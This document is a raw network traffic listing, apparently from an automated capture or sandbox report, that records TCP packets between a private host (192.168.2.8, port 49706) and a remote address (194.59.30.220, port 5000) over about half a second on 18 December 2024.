Dec 18, 2024 11:56:24.821854115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.822024107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.822072983 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.823144913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.823223114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.823272943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.823978901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.824089050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.824141026 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.824842930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.824928045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.824982882 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.825742960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.825906992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.825954914 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.826821089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.827054977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.827114105 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.827912092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.828073025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.828120947 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.829020977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.829159975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.829206944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.829902887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.830017090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.830064058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.830888033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.831029892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.831077099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.831779957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.831962109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.832010984 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.832633018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.832739115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.832784891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.833553076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.833633900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.833690882 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.834434986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.834513903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.834558964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.835253000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.835361958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.835411072 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.836209059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.836257935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.836298943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.837059975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.837162018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.837201118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.837877035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.838032961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.838083982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.838840008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.838968992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.839054108 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.839756966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.839809895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.839862108 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.840559006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.840610027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.840656996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.841398954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.841551065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.841597080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.842339993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.842461109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.842509031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.843245029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.843417883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.843466997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.844940901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.844958067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.845012903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.845155001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.845225096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.845269918 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.846034050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.846085072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.846131086 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.846923113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.847006083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.847052097 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.847801924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.847915888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.847960949 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.848695040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.848844051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.848890066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.849658966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.849797010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.849841118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.850481987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.850581884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.850625038 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.851284981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.851386070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.851428986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.852173090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.852390051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.852432013 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.853239059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.853411913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.853456974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.854298115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.854382992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.854429007 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.855110884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.855154991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.855209112 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.856010914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.856113911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.856164932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.857012987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.857173920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.857218027 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.858037949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.858186007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.858228922 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.858865976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.858946085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.858988047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.859774113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.859833956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.859874964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.860662937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.860894918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.860939980 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.861552954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.861656904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.861701012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.862452984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.863118887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.863162994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.865921021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.865933895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.865947008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.865967035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.865978003 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.865978956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.865992069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.866027117 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.866071939 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.876130104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.876142979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.876156092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.876168013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.876183987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.876213074 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.876241922 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.876948118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.876960039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.876993895 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.877818108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.877865076 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.014410019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.014431953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.014525890 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.014592886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.014704943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.014748096 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.015300989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.015497923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.015552998 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.016280890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.016380072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.016427994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.017224073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.017235994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.017285109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.018214941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.019113064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.019161940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.019198895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.019403934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.019448996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.020170927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.020286083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.020329952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.021054983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.021145105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.021187067 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.021969080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.022103071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.022160053 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.023183107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.023354053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.023403883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.024245024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.024377108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.024425030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.025640965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.026154995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.026204109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.026655912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.026727915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.026772976 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.027615070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.027731895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.027779102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.028595924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.028659105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.028704882 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.029556990 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.029685974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.029731989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.030673981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.030792952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.030838966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.031727076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.031913042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.031969070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.032418966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.032507896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.032561064 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.033351898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.033493042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.033545017 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.034358025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.034470081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.034527063 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.035221100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.035293102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.035345078 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.035948992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.036051035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.036098957 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.036783934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.036906958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.036963940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.037668943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.037821054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.037877083 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.038602114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.038712025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.038759947 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.039697886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.039807081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.039855003 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.040647030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.040761948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.040803909 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.041615009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.041673899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.041721106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.042594910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.042841911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.042886019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.043565989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.043678045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.043721914 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.044492960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.044615030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.044656992 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.045452118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.045516968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.045567036 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.046411037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.046636105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.046681881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.047383070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.047439098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.047483921 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.048227072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.048351049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.048396111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.049103975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.049206972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.049263000 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.049772024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.049931049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.049982071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.050674915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.050738096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.050789118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.051295042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.051403046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.051451921 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.051929951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.052062035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.052103043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.052711010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.052824974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.052866936 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.053464890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.053584099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.053627968 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.054208040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.054307938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.054357052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.054864883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.054912090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.054959059 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.055569887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.055680990 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.055732012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.056278944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.056410074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.056457996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.057076931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.057184935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.057240009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.057894945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.058020115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.058073997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.066225052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.066251040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.066350937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.066471100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.066548109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.066601038 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.067406893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.067522049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.067579031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.068315983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.120335102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.204266071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.204282045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.204335928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.204519033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.204756021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.204807997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.205440044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.205535889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.205575943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.206341028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.206444979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.206487894 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.207212925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.207350969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.207395077 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.208082914 CET	5000	49706	194.59.30.220	192.168.2.8
